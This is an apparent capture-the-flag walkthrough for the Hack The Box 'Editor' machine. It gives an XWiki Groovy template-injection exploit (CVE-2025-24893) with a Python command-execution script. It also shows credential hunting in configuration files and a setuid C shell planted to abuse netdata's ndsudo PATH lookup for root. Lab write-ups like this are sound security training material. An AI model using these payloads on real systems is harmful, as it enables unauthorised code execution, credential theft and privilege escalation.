1665 words
8 minutes
Editor HTB Walkthrough

First thing we do at the beginning of any CTF is do an nmap scan of device

Terminal window
nmap -sV 10.129.2.103
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-03 14:37 GMT
Nmap scan report for 10.129.2.103
Host is up (0.065s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
8080/tcp open http Jetty 10.0.20
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

When looking through the website on the default http port we find a webpage for SimplistCode Pro. When scrolling through the website nothing really sticks out except for the documentation

Here is a XWiki page that tells you about the product and how to use and install it, intrestingly enough there is a version number at the bottom of the page

When you search up vulnerabilities for the website version we come across exactly what we’re looking for

CVE-2025-24893

An unauthenticated arbitrary remote code execution vulnerability

But lets stop for a second and evaluate what exactly this vulnerability actually takes advantage of

QUOTE

When an HTTP GET or POST request is sent to the Request-URI “/xwiki/bin/get/Main/Search” or “/xwiki/bin/get/Main/Search”, the Main.Search document is loaded and rendered as a template, interpreting code written in the template utilzling XWiki’s scripting feature set. In default installations of the application, the Main.Search template calls the Solr Search UI Extension, leading to the rendering of the Main.SolrSearch, Main.SolrSearchMacros, and Main.SolrSearchConfig templates in the server’s response.

Now what exactly does this mean?

Lets split this up and explain each part

Search feature#

Through the search feature, XWiki allows you find specific pages on the website through keywords which can either be in the title or rendered in the document

The specific parameter within this search feature we are injecting into is the text parameter

SSTI#

This vulnerability specifically takes advantage of something called Server Side Template Injection (SSTI)

SSTI is when a user specified input is incorrectly interpreted as part of the template code and then subsiquently executed, lets see a little example

<html>
<body>
<h1>Hello {{user.name}}<h1>
</body>
</html>

In the example we are using Jinja, as seen in the example the who the page is saying hello to is not defined, it will instead be evaluated at runtime

Lets say I had a user with the name “Bob”, the rendered page would then show

<html>
<body>
<h1>Hello Bob</h1>
</body>
</html>

Now using this and render_template is a safe way of doing template rendering, but some people will instead use render_template_string instead, lets look at a code snippit to see what we are talking about

from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('name'):
return render_template_string('''
<html>
<body>
<h1>Hello ''' + request.args.get('name') + '''<h1>
</body>
</html>
''')
else:
return "please enter a name in the parameter"
if __name__ == "__main__":
app.run(debug=True)

Now lets see what the result is if we were to add {{7*7}} instead of our name

<html>
<body>
<h1>Hello 49<h1>
</body>
</html>

Now as you can see we’ve managed to execute python code, this is because Jinja (Flasks renderer) viewed {{7*7}} as part of the template and therefore evaluated it

How do we abuse this#

When we make a request to search for documents with this parameter, usually this is not rendered in a way that would lead to a SSTI. But when media is set to rss, the text parameter is then rendered as part of the RSS feed’s title and description, resulting in this SSTI

Now let’s take a look and see how we need to correctly structure our request to take advantage of this injection

Here is the document we will be referencing as for how the templates work

While not explicitly called templates, it will follow the same premise, we can call java code through a macro to be executed on arguments of our choosing, here is an example

{{groovy}}
println("Your name is " + xcontext.getUser() + ", hello there!");
{{/groovy}}

When run by our buddy Bob it would give the output “Your name is Bob, hello there!”

What is Groovy and why are we using it#

QUOTE

Groovy is a full-fledged scripting language, which supports almost the entire Java syntax, and provides its own syntax delicacies and custom APIs that enhance the Java language even further

From what it appears from the documentation we could not use Velocity to achive our goal as it doesn’t allow us to execute commands like Groovy does

The exploit#

To come up with an exploit lets start injecting, to start we will try the following

{{groovy}}
println("You've been hacked!!!!");
{{/groovy}}

We will need url encode the payload to send it, so let’s try the url encoded payload

RSS feed for search on [Failed to execute the [groovy] macro. Cause: [Nested scripts are not allowed. Current Script Macro [groovy] (source [xwiki:Main.SolrSearch]) is executed inside Script Macro [velocity] (source [xwiki:Main.SolrSearch])]. Click on this message for details.

Now we will see that nested scripts aren’t allowed, so we need to find a way around this. To do this we will be using the async macro to then execute the Groovy as this will let us bypass our restrictions

{{async async=false}}
{{groovy}}
println("You've been hacked!!!!");
{{/groovy}}
{{/async}}

Now lets have a look at the output

<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0">
<channel>
<title>RSS feed for search on [You've been hacked!!!!]</title>
<link>http://wiki.editor.htb:80/xwiki/bin/view/Main/SolrSearch?text=%7B%7Basync%20async%3Dfalse%7D%7D%0A%7B%7Bgroovy%7D%7D%0Aprintln%28%22You%27ve%20been%20hacked%21%21%21%21%22%29%3B%0A%7B%7B%2Fgroovy%7D%7D%0A%7B%7B%2Fasync%7D%7D</link>
<description>RSS feed for search on [You've been hacked!!!!]</description>
<language>en</language>
<copyright />
<dc:creator>XWiki</dc:creator>
<dc:language>en</dc:language>
<dc:rights />
</channel>
</rss>

Seems like we have gotten RCE, now lets make a shell with this

It seems non-trivial to get a reverse shell on this computer (damn), so instead we’ll make a script to run commands for us as if we were in shell

import requests
from pathlib import Path
import urllib.parse
# executes a command on the server
def execute_command(command):
response = requests.get("http://wiki.editor.htb/xwiki/bin/view/Main/SolrSearch?media=rss&text=" + urllib.parse.quote_plus("{{async async=false}}{{groovy}}println(\"" + command + "\".execute().text);{{/groovy}}{{/async}}"))
partresponse = response.text.split("&lt;title&gt;RSS feed for search on [")[1].split("webapps]&lt")[0].replace("<br/>", "\n")
if "]&lt;/title&gt;" in partresponse:
partresponse = partresponse.split("]&lt;/title&gt;")[0]
if "<span class=\"box xwikirenderingerror\">Failed to execute the [groovy] macro. Cause: [" in partresponse:
partresponse = partresponse.split("<span class=\"box xwikirenderingerror\">Failed to execute the [groovy] macro. Cause: [")[1].split("]. Click on this message for details.</span>")[0]
return partresponse
while True:
output = execute_command(input(">")).replace("&nbsp;", " ").replace("<del>", "--").replace("</del>", "--")
print(output)

This now gives us a partly interactive terminal, though we cannot move through the terminal as per a usual

Now the search begins

Escalating privileges#

To start we should look for configuration files for xwiki as they may contain useful information

Terminal window
>find / -name *.cfg*
/boot/grub/grub.cfg
/etc/libblockdev/conf.d/00-default.cfg
/etc/perl/Net/libnet.cfg
/etc/xwiki/hibernate.cfg.xml <----
/etc/xwiki/hibernate.cfg.xml.ucf-dist <---- Here is what we are looking for
/etc/xwiki/xwiki.cfg <----
/etc/update-manager/release-upgrades.d/ubuntu-advantage-upgrades.cfg
/etc/default/grub.d/init-select.cfg
/etc/java-17-openjdk/jvm-amd64.cfg
/etc/java-17-openjdk/security/nss.cfg
/etc/dpkg/dpkg.cfg
/etc/dpkg/dpkg.cfg.d
/var/lib/ucf/cache/:etc:xwiki:xwiki.cfg
/var/lib/ucf/cache/:etc:xwiki:hibernate.cfg.xml
/usr/lib/jvm/java-17-openjdk-amd64/lib/jvm.cfg-default
/usr/lib/jvm/java-17-openjdk-amd64/lib/jvm.cfg
/usr/lib/jvm/java-17-openjdk-amd64/conf/security/nss.cfg
/usr/lib/xwiki/WEB-INF/hibernate.cfg.xml
/usr/lib/xwiki/WEB-INF/xwiki.cfg
/usr/share/xwiki/templates/mysql/hibernate.cfg.xml
/usr/share/xwiki/default/xwiki.cfg
/usr/share/man/hu/man5/dpkg.cfg.5.gz
/usr/share/man/nl/man5/dpkg.cfg.5.gz
/usr/share/man/it/man5/dpkg.cfg.5.gz
/usr/share/man/de/man5/dpkg.cfg.5.gz
/usr/share/man/fr/man5/dpkg.cfg.5.gz
/usr/share/man/sv/man5/dpkg.cfg.5.gz
/usr/share/man/es/man5/dpkg.cfg.5.gz
/usr/share/man/pt/man5/dpkg.cfg.5.gz
/usr/share/man/pl/man5/dpkg.cfg.5.gz
/usr/share/man/man5/dpkg.cfg.5.gz
/usr/share/man/ja/man5/dpkg.cfg.5.gz
/usr/share/ubuntu-release-upgrader/removal_denylist.cfg
/usr/share/ubuntu-release-upgrader/DistUpgrade.cfg
/usr/share/ubuntu-release-upgrader/mirrors.cfg
/usr/share/ubuntu-release-upgrader/additional_pkgs.cfg
/usr/share/ubuntu-release-upgrader/demoted.cfg
/usr/share/doc/grub-common/examples/grub.cfg

The one that gives it away is /etc/xwiki/hibernate.cfg.xml (that’s mentioned no-where in their documentation for some reason)

It contains credentails for oliver (I wont show them here)

Now we can ssh in (finally an actual shell)

When we first get in the shell I decide to check what I have SUID enabled on which gives the following

Terminal window
oliver@editor:~$ find / -perm /u=s,g=s -ls 2> /dev/null
416 0 drwxr-sr-x 2 root systemd-journal 40 Dec 3 21:36 /run/log/journal
35958 4 drwxrwsr-x 2 root staff 4096 Apr 18 2022 /var/local
53133 4 drwxrws--- 2 tomcat adm 4096 Jul 29 11:55 /var/log/tomcat9
37120 4 drwxr-sr-x 4 root systemd-journal 4096 Jun 15 16:33 /var/log/journal
53529 4 drwxr-sr-x 2 root systemd-journal 4096 Dec 3 21:36 /var/log/journal/97985f393ecf4d86b4acd0b422f7d8c8.netdata
285166 4 drwxr-sr-x 2 root systemd-journal 4096 Dec 4 00:11 /var/log/journal/97985f393ecf4d86b4acd0b422f7d8c8
35960 4 drwxrwsr-x 2 root mail 4096 Feb 17 2023 /var/mail
49126 944 -rwsr-x--- 1 root netdata 965056 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
49412 1348 -rwsr-x--- 1 root netdata 1377624 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
49409 1120 -rwsr-x--- 1 root netdata 1144224 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
49411 196 -rwsr-x--- 1 root netdata 200576 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
49407 80 -rwsr-x--- 1 root netdata 81472 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ioping
49413 876 -rwsr-x--- 1 root netdata 896448 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
49402 4164 -rwsr-x--- 1 root netdata 4261672 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin
819 40 -rwsr-xr-x 1 root root 40496 Feb 6 2024 /usr/bin/newgrp
298 72 -rwsr-xr-x 1 root root 72072 Feb 6 2024 /usr/bin/gpasswd
12457 56 -rwsr-xr-x 1 root root 55680 Apr 9 2024 /usr/bin/su
9922 36 -rwsr-xr-x 1 root root 35200 Apr 9 2024 /usr/bin/umount
10491 288 -rwxr-sr-x 1 root _ssh 293304 Apr 11 2025 /usr/bin/ssh-agent
296 44 -rwsr-xr-x 1 root root 44808 Feb 6 2024 /usr/bin/chsh
681 36 -rwsr-xr-x 1 root root 35200 Mar 23 2022 /usr/bin/fusermount3
676 228 -rwsr-xr-x 1 root root 232416 Jun 25 12:48 /usr/bin/sudo
299 60 -rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd
297 24 -rwxr-sr-x 1 root shadow 23136 Feb 6 2024 /usr/bin/expiry
745 48 -rwsr-xr-x 1 root root 47488 Apr 9 2024 /usr/bin/mount
597 40 -rwxr-sr-x 1 root crontab 39568 Mar 23 2022 /usr/bin/crontab
295 72 -rwsr-xr-x 1 root root 72712 Feb 6 2024 /usr/bin/chfn
294 72 -rwxr-sr-x 1 root shadow 72184 Feb 6 2024 /usr/bin/chage
52777 4 drwxrwsr-x 2 root staff 4096 Jun 13 17:05 /usr/local/share/fonts
1409 36 -rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
14070 332 -rwsr-xr-x 1 root root 338536 Apr 11 2025 /usr/lib/openssh/ssh-keysign
13515 16 -rwxr-sr-x 1 root utmp 14488 Mar 24 2022 /usr/lib/x86_64-linux-gnu/utempter/utempter
795 28 -rwxr-sr-x 1 root shadow 26776 Jun 12 14:45 /usr/sbin/unix_chkpwd
743 24 -rwxr-sr-x 1 root shadow 22680 Jun 12 14:45 /usr/sbin/pam_extrausers_chkpwd
13665 20 -rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1

The interesting ones here are the netdata ones, the others are ordinary for most systems

The specific one we are going to be abusing is ndsudo, as it can be used to execute commands at elevated privileges, but when you run ndsudo --help you will find you can only execute select commands, a dead end, or is it

When you run a specific command ndsudo nvme-list you will find the nvme is not found anywhere (what luck), so therefore, we can make our own

Terminal window
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0); setgid(0);
system("/bin/bash -p");
return 0;
}

Once compiled, you can move this to the tmp directory and then add it to the path files, and guess what, your root now (isn’t that cool)

Well done! Make sure to understand what you did when following this guide, as it super important to progressing!